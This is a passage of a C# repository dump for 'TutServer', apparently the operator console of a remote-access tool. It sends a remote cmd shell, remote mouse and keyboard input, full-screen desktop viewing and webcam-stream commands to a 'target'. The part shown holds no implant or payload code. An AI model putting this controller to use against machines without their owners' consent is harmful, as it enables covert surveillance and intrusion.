(me.Tag.ToString().Split('.')[2] == "rcmd") //if the tag says to to update the remote cmd { String command = "cmd§" + me.Text; //Construct the command me.Text = ""; //Clear the text Form1 f = new Form1(); //Create a new instance of the form f.SendToTarget(command); //Send the command } } else if (e.KeyCode == Keys.Return && !Form1.IsCmdStarted) //If eneter is pressed and cmd isn't started { //Notify the user MessageBox.Show(Form1.me, "Cmd Thread is not started!", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning); } } /// /// Form closing event handler /// /// The sender of the event /// The event args private void OnRouteDestroy(object sender, FormClosingEventArgs e) { Form dieRoute = (Form)sender; //Get our form String dieRouteID = dieRoute.Text.Split('[')[1].Substring(0, 1); //Get the route ID String rdUpdateID = Form1.rdRouteUpdate.Split('.')[0].Replace("route", ""); //Get the remote desktop route ID String wcUpdateID = Form1.wcRouteUpdate.Split('.')[0].Replace("route", ""); //Get the webcam stream route ID if (dieRouteID == rdUpdateID) //If our form is the remote desktop route { Form1.rdRouteUpdate = "route0.none"; //Reset the remote desktop route window } if (dieRouteID == wcUpdateID) //If our form is the web cam stream route { Form1.wcRouteUpdate = "route0.none"; //Reset the web cam strean route window } Form1.routeWindow.Remove(dieRoute); //Remove our window from the list int exitPoint = int.Parse(dieRouteID) - 1; //Get the index of our removed window for (int i = exitPoint; i < Form1.routeWindow.Count; i++) //Go through every window after our removed window { int currentRouteID = int.Parse(Form1.routeWindow[i].Text.Split('[')[1].Substring(0, 1)); //Get the window's route ID String textStart = Form1.routeWindow[i].Text.Split('[')[0]; //Get the start of the text String textEnd = Form1.routeWindow[i].Text.Split('[')[1]; //Get the end of the text textEnd = textEnd.Substring(1); //Remove the first char of the ending text textEnd = "[" + (currentRouteID - 1).ToString() + textEnd; //Decrement the route ID by 1, because our form is removed Form1.routeWindow[i].Text = textStart + textEnd; //Set the new title text for the window } //Die :( } /// /// Selected Item Changed Event Handler /// /// The sender of the event /// The event args private void OnItemChange(object sender, EventArgs e) { Control ctl = sender as Control; //Get the caller control if (ctl.Name.StartsWith("comboBox")) //If the control is a combobox { ComboBox cb = ctl as ComboBox; //Cast the control to a combobox String slitem = cb.SelectedItem.ToString(); //Get the selected item of the combobox Form1.setvalue.Add(cb.Name + "§" + slitem); //Add the selected item to the setvalue instructions } } /// /// Get if a set command of a control is alreaydy in progress /// /// The name of the control to check /// True if the control has a setvalue directive, otherwise false private bool GetignoreState(String name) { bool isIgnore = false; //Declare the ignore flag foreach (String pending in Form1.setvalue) //Go through the instructions { if (pending.Split('§')[0] == name) //If the names match { isIgnore = true; //Set the ignore flag break; //Break the loop } } return isIgnore; //Return the ignore flag } /// /// Checkbox Checked Changed Event Handler /// /// The sender of the event /// The event args private void OnCheck(object sender, EventArgs e) { CheckBox cb = sender as CheckBox; //Cast the caller to a checkBox bool check = cb.Checked; //Get the checked stated String name = cb.Name; //Get the caller's name Form1.setvalue.Add(name + "§" + check.ToString().ToLower()); //Update the setvalue instructions } /// /// Text change event handler /// /// The sender of the event /// The event args private void OnTextChange(object sender, EventArgs e) { Control t = sender as Control; //Cast the caller to a control String name = t.Name; //Get the name of the caller String text = t.Text; //Get the text of the caller if (disableWrite.Contains(name)) return; //If write is disabled on this control then return Form1.setvalue.Add(name + "§" + text); //Update the setvalue instructions } /// /// Selected Index Changed event handler /// /// The sender of the event /// The event args private void OnIndexChange(object sender, EventArgs e) { Console.WriteLine("index changed"); //Debug Function //if (Form1.protectLv) return; /*if (Form1.rwriteLv == 1) { Form1.rwriteLv = 0; Console.WriteLine("Disable rwirteLV"); return; }*/ //if (Form1.rwriteLv == 1) Form1.rwriteLv++; String name = ""; //Declare caller name Control ctl = sender as Control; //Cast the caller to a control name = ctl.Name; //Set the caller's name if (ctl.Name.StartsWith("listView")) //If the caller is a listView { ListView lv = ctl as ListView; //Cast the control to a listView int index = -1; //Declare the selected index if (lv.SelectedIndices.Count > 0) index = lv.SelectedIndices[0]; //Set the selected index if (index != -1) //If selected index is set { Console.WriteLine("setIndex: " + index.ToString()); //Debug Function Form1.setvalue.Add(name + "§" + index.ToString()); //Update the setvalue instructions } } } /// /// Click event handler /// /// The sender of the event /// The event args private void OnClick(object sender, EventArgs e) { try //Try { Control send = (Control)sender; //Cast the caller to a control int routeID = int.Parse(send.Parent.Text.Split('[')[1].Substring(0, 1)); //Get out route ID Form1.setFocusRouteID = routeID; //Set the focused route ID Control remoteObj = page.Controls.Find(send.Name, false)[0]; //Find the original button Button remoteButton = (Button)remoteObj; //Cast the control to a button TabPage backup = Form1.selected; //Get the seleczed tabPage Form1.setPagebackup = backup; //Store the selected tabPage Form1.setvalue.Add("tabControl1§" + page.Name.Replace("tabPage", "")); //Update the setvalue instructions Timer t = new Timer { Interval = 200 //Set the frequency to 200 ms }; //Create a new timer t.Tick += new EventHandler(WaitForTabChange); //Set the tick event handler Form1.rbutton = remoteButton; //Store the remote button to click t.Start(); //Start the timer } catch (Exception ex) //Something went wrong or toolstrip item is clicked { Console.WriteLine("Routed Window button onclick error ERROR = " + ex.Message); //Debug Function //ToolStripItem ToolStripItem send = (ToolStripItem)sender; //Cast the caller to a tool strip item //MessageBox.Show(send.Name); Form1 parent = new Form1(); //Create a new Form1 object parent.ExecuteToolStrip(send.Name); //Execute the toolStrip } } /// /// Tick event handler to wait for the TabPage to change /// /// The sender of the event /// The event args private void WaitForTabChange(object sender, EventArgs e) { if (Form1.setFocusBack == 1) //If set focus back is in mode 1 { if (Form1.selected == page) //If our tabPage is selected { Form1.rbutton.PerformClick(); //Perform the click Form1.rbutton = new Button(); //Remove the button reference from the variable Form1.setvalue.Add("tabControl1§" + Form1.setPagebackup.Name.Replace("tabPage", "")); //Update set value intructions (select old tab page) Form1.setFocusBack = 2; //Set focus back mode to 2 return; //Return } } if (Form1.setFocusBack == 2) //If focus mode is in 2 { if (Form1.selected == Form1.setPagebackup) //If the original tabPage is selected { int ID = Form1.setFocusRouteID; //Get the ID of the focused route Form cRoute = Form1.routeWindow[ID - 1]; //Get the form of the route cRoute.BringToFront(); //Bring that route form to the front Timer me = (Timer)sender; //Cast the caller to a timer Form1.setFocusBack = 1; //Set focus mode to 1 Form1.setFocusRouteID = -1; //Set focus route to -1 me.Stop(); //Stop the timer } } } /// /// Tick event handler to update the routed window /// /// The sender of the event /// The event args private void UpdateUI(object sender, EventArgs e) { Control.ControlCollection controls = currentRoute.Controls; //Get every control in the window foreach (Control c in controls) //Go through the controls { String name = c.Name; //Get the control's name String type = GetControlType(name); //Get the control's type if (type == "") continue; //If invalid type then skip the control if (GetignoreState(name)) continue; //if we ignore the element, then continue switch (type) //Switch the type { case "label": //if control is a label Label l = (Label)c; //Cast the control to a label String lc = l.Text; //Get the text String lv = Form1.GetValue(l.Name); //Get the text of the main form's label if (lv != lc) //If the texts doesn't match { l.Text = lv; //Set our text to the main form's text } break; //Break the switch case "button": //Control is a button Button b = (Button)c; //Cast the control to a button String bc = b.Text; //Get the button text String bv = Form1.GetValue(b.Name); //Get the button's text on the main form if (bv != bc) //If the texts doesn't match { b.Text = bv; //Set our text to the form's text } break; //break the switch case "comboBox": //Control is a combobox ComboBox cb = (ComboBox)c; //Cast the control to a combobox String iname = cb.SelectedItem.ToString(); //Get the selected item String vname = new Form1().GetSelectedItem(cb.Name); //Get the combobox's selected item on the main form if (iname != vname && !cb.DroppedDown) //If the names doesn't match and combobox is not in dropdown mode { cb.SelectedItem = vname; //Set the selected items to the from's selected item } break; //Break the switch case "richTextBox": //Control is a richTextBox RichTextBox rtb = (RichTextBox)c; //Cast the control to a richTextBox String rtbc = rtb.Text; //Get the text String rtbv = Form1.GetValue(rtb.Name); //Get the text of the main form's richTextBox if (rtbv != rtbc) //If the texts doesn't match { disableWrite.Add(rtb.Name); //Disable setvalue writing for the richTextBox (to block infinite loops of setting text) rtb.Text = rtbv; //Set the text of the richTextBox } break; //Break the switch case "textBox": //Control is a textBox TextBox tb = (TextBox)c; //Cast the control to a textBox String tbc = tb.Text; //Get the text String tbv = Form1.GetValue(tb.Name); //Get the text of the form's textBox if (tbv != tbc) //If the texts doesn't match { disableWrite.Add(tb.Name); //Disable setvalue writing for the textBox (to prevent infinite loop of text changing) tb.Text = tbv; //Set the text of the main form's textBox } break; //Break the switch case "listView": //Control is a listView ListView liv = (ListView)c; //Cast the control to a listView List myItems = new List(); //Create a list for out items foreach (ListViewItem lvi in liv.Items) //For each item in our listView { String emt = ""; //Declare item string int sindex = lvi.SubItems.Count; //Get the count of submitems int count = 0; //Declare index variable foreach (ListViewItem.ListViewSubItem si in lvi.SubItems) //Go through the subitems { if (si.Text == "") //If the text is empty { count++; //Increment the count continue; //Skip this subitem } if (count < sindex) //If it's not the last subitem { emt += si.Text + "|"; //Append to the item + separator char } else //It's the last element { emt += si.Text; //Append to the item } //Console.WriteLine("GET Emt: " + emt); count++; //Increment the index } myItems.Add(emt); //add the item to the items list } String[] ritems = new Form1().GetItems(liv.Name, "items"); //Get the items of the main form's listView bool editItems = false; //Declare editItems flag if (myItems.Count == ritems.Length) //If items count match { for (int i = 0; i < ritems.Length; i++) //Go throught the items { String validate1 = ritems[i]; //Text of main form's item String validate2 = myItems[i]; //Text of our item //Console.WriteLine("VALIDATE\n Remote: " + validate1 + "\n generated: " + validate2); if (validate1 != validate2) //If the texts doesn't match { Console.WriteLine("INVALID \n " + validate1 + "\n " + validate2); //Debug Function editItems = true; //Edit the items break; //Break the loop } } } else //Counts mismatch { editItems = true; //Edit the items } if (editItems) //if we need to edit the items { //MessageBox.Show("edit"); liv.Items.Clear(); //Clear our listView foreach (String item in ritems) //Go through the items of the main form's listView { ListViewItem add = new ListViewItem(item.Split('|')[0]); //Create a new listView item int track = 0; //Declare index variable foreach (String sitem in item.Split('|')) //Loop through the subitems { if (track == 0) //If it's the first item { track++; //Increment the index continue; //Skip the first item } add.SubItems.Add(sitem); //Add the subitem track++; //Increment the index } liv.Items.Add(add); //Add the items to the listView } } String selected = new Form1().GetItems(liv.Name, "selected")[0]; //Get the seleczed item on the main form's listView if (selected != "-1" && !Form1.protectLv) //If an item is selected and the listView is not protected { //Form1.rwriteLv = 1; if (liv.SelectedIndices.Count > 0) //If our listView has a selected item { if (liv.SelectedIndices[0] != int.Parse(selected)) //If the selected indexes mismatch { liv.Items[liv.SelectedIndices[0]].Selected = false; //Deselect the current item liv.Items[int.Parse(selected)].Selected = true; //Select the item selected on the main form's listView } } else //No selected items { liv.Items[int.Parse(selected)].Selected = true; //Select the item selected on the main form's listView } } break; //break the loop case "checkBox": //Control is a checkBox CheckBox cx = (CheckBox)c; //Cast the control to a checkBox bool xbc = cx.Checked; //Get the checked state bool xbv = new Form1().GetChecked(cx.Name); //Get the main form's checkBox's checked state if (xbv != xbc) //If the states mismatch { cx.Checked = xbv; //Set our state to the main form's checkBox's state } break; //break the switch } } disableWrite.Clear(); //Re enable the writing of setvalue instructions } /// /// Get the type of a control /// /// The name of the control to get the type of /// The type of the control private String GetControlType(String name) { String type = ""; //Declare the type of the control for (int i = 0; i < name.Length; i++) //Loop through the name's characters { if (char.IsNumber(name, i)) //If the character is a number { break; //Break the loop } type += name[i]; //Append the name's characters to the type } return type; //Return the type of the control } } #endregion } ================================================ FILE: TutServer/Form1.resx ================================================  text/microsoft-resx 2.0 System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 172, 17 327, 17 ================================================ FILE: TutServer/Program.cs ================================================ using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using System.Windows.Forms; namespace TutServer { static class Program { /// /// The main entry point for the application. /// [STAThread] static void Main() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new Form1()); } } } ================================================ FILE: TutServer/Properties/AssemblyInfo.cs ================================================ using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information // associated with an assembly. [assembly: AssemblyTitle("TutServer")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("TutServer")] [assembly: AssemblyCopyright("Copyright © 2015")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // Setting ComVisible to false makes the types in this assembly not visible // to COM components. If you need to access a type in this assembly from // COM, set the ComVisible attribute to true on that type. [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM [assembly: Guid("8dc7d5f0-adf5-49f0-a539-d96e1e934067")] // Version information for an assembly consists of the following four values: // // Major Version // Minor Version // Build Number // Revision // // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("1.0.0.0")] [assembly: AssemblyFileVersion("1.0.0.0")] ================================================ FILE: TutServer/Properties/Resources.Designer.cs ================================================ //------------------------------------------------------------------------------ // // This code was generated by a tool. // Runtime Version:4.0.30319.18444 // // Changes to this file may cause incorrect behavior and will be lost if // the code is regenerated. // //------------------------------------------------------------------------------ namespace TutServer.Properties { /// /// A strongly-typed resource class, for looking up localized strings, etc. /// // This class was auto-generated by the StronglyTypedResourceBuilder // class via a tool like ResGen or Visual Studio. // To add or remove a member, edit your .ResX file then rerun ResGen // with the /str option, or rebuild your VS project. [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] internal class Resources { private static global::System.Resources.ResourceManager resourceMan; private static global::System.Globalization.CultureInfo resourceCulture; [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] internal Resources() { } /// /// Returns the cached ResourceManager instance used by this class. /// [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Resources.ResourceManager ResourceManager { get { if ((resourceMan == null)) { global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("TutServer.Properties.Resources", typeof(Resources).Assembly); resourceMan = temp; } return resourceMan; } } /// /// Overrides the current thread's CurrentUICulture property for all /// resource lookups using this strongly typed resource class. /// [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Globalization.CultureInfo Culture { get { return resourceCulture; } set { resourceCulture = value; } } } } ================================================ FILE: TutServer/Properties/Resources.resx ================================================  text/microsoft-resx 2.0 System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 ================================================ FILE: TutServer/Properties/Settings.Designer.cs ================================================ //------------------------------------------------------------------------------ // // This code was generated by a tool. // Runtime Version:4.0.30319.18444 // // Changes to this file may cause incorrect behavior and will be lost if // the code is regenerated. // //------------------------------------------------------------------------------ namespace TutServer.Properties { [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")] internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); public static Settings Default { get { return defaultInstance; } } } } ================================================ FILE: TutServer/Properties/Settings.settings ================================================  ================================================ FILE: TutServer/RDesktop.Designer.cs ================================================ namespace TutServer { partial class RDesktop { /// /// Required designer variable. /// private System.ComponentModel.IContainer components = null; /// /// Clean up any resources being used. /// /// true if managed resources should be disposed; otherwise, false. protected override void Dispose(bool disposing) { if (disposing && (components != null)) { components.Dispose(); } base.Dispose(disposing); } #region Windows Form Designer generated code /// /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// private void InitializeComponent() { this.components = new System.ComponentModel.Container(); this.pictureBox1 = new System.Windows.Forms.PictureBox(); this.closeWindowToolStripMenuItem1 = new System.Windows.Forms.ContextMenuStrip(this.components); this.closeWindowToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); this.closeWindowToolStripMenuItem1.SuspendLayout(); this.SuspendLayout(); // // pictureBox1 // this.pictureBox1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill; this.pictureBox1.Location = new System.Drawing.Point(0, 0); this.pictureBox1.Name = "pictureBox1"; this.pictureBox1.Size = new System.Drawing.Size(284, 262); this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; this.pictureBox1.TabIndex = 0; this.pictureBox1.TabStop = false; this.pictureBox1.MouseDown += new System.Windows.Forms.MouseEventHandler(this.pictureBox1_MouseDown); this.pictureBox1.MouseMove += new System.Windows.Forms.MouseEventHandler(this.pictureBox1_MouseMove); this.pictureBox1.MouseUp += new System.Windows.Forms.MouseEventHandler(this.pictureBox1_MouseUp); // // closeWindowToolStripMenuItem1 // this.closeWindowToolStripMenuItem1.BackColor = System.Drawing.Color.Red; this.closeWindowToolStripMenuItem1.Font = new System.Drawing.Font("Segoe UI", 20.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.closeWindowToolStripMenuItem1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.closeWindowToolStripMenuItem}); this.closeWindowToolStripMenuItem1.Name = "contextMenuStrip1"; this.closeWindowToolStripMenuItem1.Size = new System.Drawing.Size(278, 46); // // closeWindowToolStripMenuItem // this.closeWindowToolStripMenuItem.Name = "closeWindowToolStripMenuItem"; this.closeWindowToolStripMenuItem.Size = new System.Drawing.Size(277, 42); this.closeWindowToolStripMenuItem.Text = "Close Window"; this.closeWindowToolStripMenuItem.Click += new System.EventHandler(this.closeWindowToolStripMenuItem_Click); // // RDesktop // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.ClientSize = new System.Drawing.Size(284, 262); this.Controls.Add(this.pictureBox1); this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; this.Name = "RDesktop"; this.Text = "RDesktop FullScreen"; this.WindowState = System.Windows.Forms.FormWindowState.Maximized; this.Shown += new System.EventHandler(this.RDesktop_Shown); this.KeyDown += new System.Windows.Forms.KeyEventHandler(this.RDesktop_KeyDown); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); this.closeWindowToolStripMenuItem1.ResumeLayout(false); this.ResumeLayout(false); } #endregion private System.Windows.Forms.PictureBox pictureBox1; private System.Windows.Forms.ContextMenuStrip closeWindowToolStripMenuItem1; private System.Windows.Forms.ToolStripMenuItem closeWindowToolStripMenuItem; } } ================================================ FILE: TutServer/RDesktop.cs ================================================ using System; //Fo basic system functions using System.Drawing; //For form graphics using System.Threading.Tasks; //For Tasks (they are similar to threads) using System.Windows.Forms; //For form intercation and controls #pragma warning disable IDE1006 namespace TutServer //The application namespace { /// /// The main form for handling full screen remote desktop control /// public partial class RDesktop : Form { #region Global Variables /// /// Main Form reference /// Form parent = Application.OpenForms["Form1"]; /// /// The frame sent by the client /// public Bitmap image; /// /// FPS Update rate /// private int FPS = 80; /// /// Mouse movement flag /// private bool mouseMovement = true; #endregion #region Form and Remote Desktop Functions /// /// Create a new full screen remote desktop controller /// public RDesktop() { InitializeComponent(); //Init the controls ScreenFPS(); //Set the FPS rate MessageBox.Show("Press the (Esc) Key to Exit this Function " , "Information" ,MessageBoxButtons.OK ,MessageBoxIcon.Information); //Notify the user } /// /// Handles remote mouse button clicks /// /// The sender of the event /// The event args private void pictureBox1_MouseDown(object sender, MouseEventArgs e) { if (Form1.rmouse == 1) //If remote mouse is enabled { if (e.Button == MouseButtons.Left) //If left button is clicked { ((Form1)parent).SendToTarget("rclick-left-down"); //Send command to client } else //Right button is clicked { ((Form1)parent).SendToTarget("rclick-right-down"); //Send command to client } } } /// /// Handles remote mouse button clicks /// /// The sender of the event /// The event args private void pictureBox1_MouseUp(object sender, MouseEventArgs e) { if (Form1.rmouse == 1) //If remote mouse control is enabled { if (e.Button == MouseButtons.Left) //The left button is pressed { ((Form1)parent).SendToTarget("rclick-left-up"); //Send command to client } else //Right button is pressed { ((Form1)parent).SendToTarget("rclick-right-up"); //Send command to client } } } /// /// Handles remote mouse movement /// /// The sender of the event /// The event args private async void pictureBox1_MouseMove(object sender, MouseEventArgs e) { if (mouseMovement == true) //if mouse movement is enabled { Rectangle scr = Screen.PrimaryScreen.WorkingArea; //Get the screen size if (Form1.IsRdFull) //If we are in full screen mode { scr = pictureBox1.DisplayRectangle; //Get the size of the pictureBox } try //Try { int mx = (e.X * Form1.resx) / scr.Width; //Calculate the remote mouse position X int my = (e.Y * Form1.resy) / scr.Height; //Calcualte the remote mouse position Y if (Form1.rmouse == 1) //If remoute mouse if enabled { if (Form1.plx != e.X || Form1.ply != e.Y) //The mouse moved after the last move { ((Form1)parent).SendToTarget("rmove-" + mx + ":" + my); //Send command to client Form1.plx = e.X; //Store last X position Form1.ply = e.Y; //Store last Y position mouseMovement = false; //Disable mouse movement } //Wait for 200 ms await Task.Delay(200); //this should stop the spammings of send commands -move the coursor very slowly and it will lockup so i added this //Re enable mouse movements mouseMovement = true; //and this switch ,cant send again for 200 ms - it works perfectly i am happy with it :-) } } catch (Exception) //Something went wrong { //Do nothing } } } /// /// Handles remote kexboard /// /// The sender of the event /// The event args private void RDesktop_KeyDown(object sender, KeyEventArgs e) { if (e.KeyCode == Keys.Escape) //If escape is pressed { closeWindowToolStripMenuItem1.Show(); //Open this CMS } if (Form1.rkeyboard == 1) //If remote keyboard is enabled { string keysToSend = ""; //Declare the keys to send //Append the modifier keys if (e.Shift) keysToSend += "+"; if (e.Alt) keysToSend += "%"; if (e.Control) keysToSend += "^"; if (Console.CapsLock == true) //Caps Lock enabled { if (e.KeyValue >= 65 && e.KeyValue <= 90) //If key falls in this range { keysToSend += e.KeyCode.ToString().ToLower(); //Send the key in lowercase } } if (Console.CapsLock == false) //If Caps Lock is disabled { if (e.KeyValue >= 65 && e.KeyValue <= 90) //If key falls in range { keysToSend += e.KeyCode.ToString().ToUpper(); //Send the key in upper case } } //Handle special keys if (e.KeyCode.ToString().Equals("Back")) keysToSend += "{BS}"; else if (e.KeyCode.ToString().Equals("Pause")) keysToSend += "{BREAK}"; else if (e.KeyCode.ToString().Equals("Capital")) keysToSend += "{CAPSLOCK}"; else if (e.KeyCode.ToString().Equals("Space")) keysToSend += " "; else if (e.KeyCode.ToString().Equals("Home")) keysToSend += "{HOME}"; else if (e.KeyCode.ToString().Equals("Return")) keysToSend += "{ENTER}"; else if (e.KeyCode.ToString().Equals("End")) keysToSend += "{END}"; else if (e.KeyCode.ToString().Equals("Tab")) keysToSend += "{TAB}"; else if (e.KeyCode.ToString().Equals("Escape")) keysToSend += "{ESC}"; else if (e.KeyCode.ToString().Equals("Insert")) keysToSend += "{INS}"; else if (e.KeyCode.ToString().Equals("Up")) keysToSend += "{UP}"; else if (e.KeyCode.ToString().Equals("Down")) keysToSend += "{DOWN}"; else if (e.KeyCode.ToString().Equals("Left")) keysToSend += "{LEFT}"; else if (e.KeyCode.ToString().Equals("Right")) keysToSend += "{RIGHT}"; else if (e.KeyCode.ToString().Equals("PageUp")) keysToSend += "{PGUP}"; else if (e.KeyCode.ToString().Equals("Next")) keysToSend += "{PGDN}"; else if (e.KeyCode.ToString().Equals("Tab")) keysToSend += "{TAB}"; else if (e.KeyCode.ToString().Equals("D1")) keysToSend += "1"; else if (e.KeyCode.ToString().Equals("D2")) keysToSend += "2"; else if (e.KeyCode.ToString().Equals("D3")) keysToSend += "3"; else if (e.KeyCode.ToString().Equals("D4")) keysToSend += "4"; else if (e.KeyCode.ToString().Equals("D5")) keysToSend += "5"; else if (e.KeyCode.ToString().Equals("D6")) keysToSend += "6"; else if (e.KeyCode.ToString().Equals("D7")) keysToSend += "7"; else if (e.KeyCode.ToString().Equals("D8")) keysToSend += "8"; else if (e.KeyCode.ToString().Equals("D9")) keysToSend += "9"; else if (e.KeyCode.ToString().Equals("D0")) keysToSend += "0"; else if (e.KeyCode.ToString().Equals("F1")) keysToSend += "{F1}"; else if (e.KeyCode.ToString().Equals("F2")) keysToSend += "{F2}"; else if (e.KeyCode.ToString().Equals("F3")) keysToSend += "{F3}"; else if (e.KeyCode.ToString().Equals("F4")) keysToSend += "{F4}"; else if (e.KeyCode.ToString().Equals("F5")) keysToSend += "{F5}"; else if (e.KeyCode.ToString().Equals("F6")) keysToSend += "{F6}"; else if (e.KeyCode.ToString().Equals("F7")) keysToSend += "{F7}"; else if (e.KeyCode.ToString().Equals("F8")) keysToSend += "{F8}"; else if (e.KeyCode.ToString().Equals("F9")) keysToSend += "{F9}"; else if (e.KeyCode.ToString().Equals("F10")) keysToSend += "{F10}"; else if (e.KeyCode.ToString().Equals("F11")) keysToSend += "{F11}"; else if (e.KeyCode.ToString().Equals("F12")) keysToSend += "{F12}"; else if (e.KeyValue == 186) keysToSend += "{;}"; else if (e.KeyValue == 222) keysToSend += "'"; else if (e.KeyValue == 191) keysToSend += "/"; else if (e.KeyValue == 190) keysToSend += "."; else if (e.KeyValue == 188) keysToSend += ","; else if (e.KeyValue == 219) keysToSend += "{[}"; else if (e.KeyValue == 221) keysToSend += "{]}"; else if (e.KeyValue == 220) keysToSend += "\\"; else if (e.KeyValue == 187) keysToSend += "{=}"; else if (e.KeyValue == 189) keysToSend += "{-}"; else if (e.KeyValue == 233) keysToSend += "é"; else if (e.KeyValue == 225) keysToSend += "á"; else if (e.KeyValue == 369) keysToSend += "ű"; else if (e.KeyValue == 337) keysToSend += "ő"; else if (e.KeyValue == 250) keysToSend += "ú"; else if (e.KeyValue == 246) keysToSend += "ö"; else if (e.KeyValue == 252) keysToSend += "ü"; else if (e.KeyValue == 243) keysToSend += "ó"; ((Form1)parent).SendToTarget($"rtype-{keysToSend}"); //Send command to the client } } /// /// Handles the start of image updater /// /// The sender of the event /// The event args private void RDesktop_Shown(object sender, EventArgs e) { Timer t = new Timer { // t.Interval = 100; Interval = FPS //Set the frequency to the screen update rate }; //Create a new timer t.Tick += new EventHandler(UpdateImage); //Set the tick event handler t.Start(); //Start the timer } /// /// Update the image frame /// /// The sender of the event /// The event args private void UpdateImage(object sender, EventArgs e) { if (image != null) //If the image is not null { pictureBox1.Image = image; //Set the image } //Call garbage collector GC.Collect(); GC.WaitForPendingFinalizers(); System.Threading.Thread.SpinWait(5000); } /// /// Close the full screen view /// /// The sender of the event /// The event args private void closeWindowToolStripMenuItem_Click(object sender, EventArgs e) { Form1 f1 = (Form1)parent; //Create a new Form1 //Reset the checkboxes if (f1.checkBoxrKeyboard.Checked) { f1.checkBoxrKeyboard.Checked = false; } if (f1.checkBoxrMouse.Checked) { f1.checkBoxrMouse.Checked = false; } Form1.IsRdFull = false; //reset the picture back to form1 picturebox1 Close(); //Close the form } /// /// Set the FPS update rate /// public void ScreenFPS() { int value = ((Form1)parent).trackBar1.Value; //Get the FPS value //Set the fps rate if (value < 25) FPS = 150; //low else if (value >= 75 && value <= 85) FPS = 80; //best else if (value >= 85) FPS = 50; //high else if (value >= 25) FPS = 100; //mid } #endregion } } ================================================ FILE: TutServer/RDesktop.resx ================================================  text/microsoft-resx 2.0 System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 17, 17 203 ================================================ FILE: TutServer/TutServer.csproj ================================================  Debug AnyCPU {E66E3E96-3B7A-4784-84CF-E6AF40006F91} WinExe Properties TutServer TutServer v4.5 512 AnyCPU true full false bin\Debug\ DEBUG;TRACE prompt 4 AnyCPU pdbonly true bin\Release\ TRACE prompt 4 app.manifest False ..\..\TutClient\TutClient\bin\Debug\NAudio.dll ..\..\TutServer\TutServer\bin\Debug\scripts\sCore.dll Form Edit.cs Form Form1.cs Form RDesktop.cs Form remotePipe.cs Edit.cs Form1.cs ResXFileCodeGenerator Resources.Designer.cs Designer True Resources.resx RDesktop.cs remotePipe.cs SettingsSingleFileGenerator Settings.Designer.cs True Settings.settings True ================================================ FILE: TutServer/app.manifest ================================================  true ================================================ FILE: TutServer/bin/Debug/NAudio.xml ================================================ NAudio a-law decoder based on code from: http://hazelware.luggle.com/tutorials/mulawcompression.html only 512 bytes required, so just use a lookup Converts an a-law encoded byte to a 16 bit linear sample a-law encoded byte Linear sample A-law encoder Encodes a single 16 bit sample to a-law 16 bit PCM sample a-law encoded byte SpanDSP - a series of DSP components for telephony g722_decode.c - The ITU G.722 codec, decode part. Written by Steve Underwood <steveu@coppice.org> Copyright (C) 2005 Steve Underwood Ported to C# by Mark Heath 2011 Despite my general liking of the GPL, I place my own contributions to this code in the public domain for the benefit of all mankind - even the slimy ones who might try to proprietize my work and use it to my detriment. Based in part on a single channel G.722 codec which is: Copyright (c) CMU 1993 Computer Science, Speech Group Chengxiang Lu and Alex Hauptmann hard limits to 16 bit samples Decodes a buffer of G722 Codec state Output buffer (to contain decompressed PCM samples) Number of bytes in input G722 data to decode Number of samples written into output buffer Encodes a buffer of G722 Codec state Output buffer (to contain encoded G722) PCM 16 bit samples to encode Number of samples in the input buffer to encode Number of encoded bytes written into output buffer 